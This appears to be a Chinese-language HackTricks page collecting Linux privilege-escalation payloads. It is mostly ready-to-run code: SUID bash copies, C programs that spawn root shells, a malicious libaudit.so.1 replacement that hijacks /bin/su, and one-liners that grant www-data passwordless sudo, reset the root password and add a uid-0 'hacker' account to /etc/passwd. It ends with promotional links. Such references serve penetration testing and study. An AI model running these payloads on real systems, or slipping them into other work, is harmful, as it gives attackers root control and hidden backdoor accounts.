# Payloads to execute

<details>

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</details>

## Bash

```bash
cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu
```

## C

```c
//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
}
```

```c
//gcc payload.c -o payload
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main(){
setuid(getuid());
system("/bin/bash");
return 0;
}
```

```c
// Privesc to user id: 1000
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
}
```

## 覆盖文件以提升权限

### 常见文件

* 在 */etc/passwd* 中添加带密码的用户
* 更改 */etc/shadow* 中的密码
* 在 */etc/sudoers* 中将用户添加到sudoers
* 通过docker套接字滥用docker，通常在 */run/docker.sock* 或 */var/run/docker.sock* 中

### 覆盖库

检查某些二进制文件使用的库，本例中为 `/bin/su`:

```bash
ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
```

在这种情况下，让我们尝试冒充 `/lib/x86_64-linux-gnu/libaudit.so.1`。\
因此，检查 **`su`** 二进制文件使用的此库的函数：

```bash
objdump -T /bin/su | grep audit
0000000000000000      DF *UND*  0000000000000000              audit_open
0000000000000000      DF *UND*  0000000000000000              audit_log_user_message
0000000000000000      DF *UND*  0000000000000000              audit_log_acct_message
000000000020e968 g    DO .bss   0000000000000004  Base        audit_fd
```

这些符号`audit_open`、`audit_log_acct_message`、`audit_log_acct_message`和`audit_fd`可能来自于libaudit.so.1库。由于恶意共享库将覆盖libaudit.so.1，这些符号应该存在于新的共享库中，否则程序将无法找到该符号并退出。

```c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

//gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c

int audit_open;
int audit_log_acct_message;
int audit_log_user_message;
int audit_fd;

void inject()__attribute__((constructor));

void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
```

现在，只需调用\*\*`/bin/su`\*\*，您将获得 root shell。

## 脚本

您能让 root 执行某些操作吗？

### **将 www-data 添加到 sudoers**

```bash
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
```

### **更改 root 密码**

```bash
echo "root:hacked" | chpasswd
```

### 将新的root用户添加到/etc/passwd

```bash
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 你在**网络安全公司**工作吗？想要看到你的**公司在HackTricks中被宣传**吗？或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs收藏品**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享你的黑客技巧**。

</details>


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